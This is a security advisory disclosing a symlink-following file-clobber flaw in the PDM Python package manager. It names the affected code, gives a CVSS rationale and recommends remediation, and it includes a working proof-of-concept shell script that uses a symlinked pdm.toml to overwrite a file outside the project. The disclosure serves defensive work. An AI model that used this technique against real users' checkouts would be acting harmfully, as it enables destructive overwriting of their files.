PDM: Project-Local State and Config Writes Follow Symlinks

Summary

PDM writes several project-local state or configuration files without symlink protection. If a malicious repository places those files as symlinks, local PDM operations can overwrite the symlink targets.

This creates an arbitrary file clobber primitive relative to the privileges of the invoking user.

Affected Behavior

• Project-local config writes can affect files outside the repository
• The most stable demonstrated sink is pdm.toml
• Related sinks include .pdm-python and .python-version

Affected Code

• src/pdm/project/config.py:303-350
• src/pdm/project/core.py:209-217
• src/pdm/cli/commands/use.py:187-189

Technical Details

Config.__init__() resolves the project-local pdm.toml path and _save_config() writes to the resolved target. If PROJECT_ROOT/pdm.toml is a symlink to another file, pdm config -l ... updates the target file instead of refusing the write.

The same general problem exists for other project-local persistence paths that are written directly with no lstat / O_NOFOLLOW protection.

For the pdm.toml PoC specifically, the target file must already contain parseable TOML. Otherwise the load step fails before the write path is reached. That parser constraint does not apply to the .pdm-python or .python-version sinks.

Impact

• Arbitrary file clobber as the invoking user
• Destructive modification of local files outside the repository root
• Useful primitive for privilege abuse when pdm is run in elevated contexts

Reproduction

PoC:

# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)
target="$tmpdir/clobbered-target.toml"

cat > "$target" <<'EOF'
[seed]
value = 1
EOF

ln -s "$target" "$tmpdir/pdm.toml"

cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "symlink-clobber-demo"
version = "0.0.1"
EOF

(
  cd "$tmpdir" &&
  "$PDM_PY" -m pdm config -l venv.in_project false
)

cat "$target"

Expected result:

• A temporary project is created
• pdm.toml is a symlink to another TOML file
• Running pdm config -l venv.in_project false modifies the symlink target

Observed output from local validation:

--- target ---
[seed]
value = 1

[venv]
in_project = false

Severity

Medium

CVSS v4.0

• Base score: 6.8 (Medium)
• Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

Rationale:

• AV:L: exploitation requires local execution of pdm against an attacker-prepared checkout
• AC:L: there is no complex constraint once the symlink sink exists
• AT:N: no extra prerequisite beyond the victim running the relevant command is required
• PR:N: the attacker does not need prior privileges on the victim system
• UI:A: the victim must actively run a command that writes project-local state or config
• VC:N: the demonstrated issue is a write primitive, not a direct read primitive
• VI:H: the attacker can cause unauthorized modification of files outside the repository root
• VA:L: file clobber can disrupt local operation, but direct same-step availability impact is lower than a full RCE
• SC:N/SI:N/SA:N: the base score is limited to the directly affected system

Root Cause

Project-local file sinks are treated as trusted regular files and are written without symlink checks or guarded atomic replacement.

Recommended Remediation

• Refuse to write project-local config/state files when the destination is a symlink
• Use lstat and O_NOFOLLOW where available
• Avoid resolving attacker-controlled project-local paths before writing
• Use atomic temp-file replacement only after confirming the destination is a regular file

Disclosure Notes

This issue is independent from the code-execution issues above. It is best tracked as a separate CVE candidate because the root cause and remediation are different.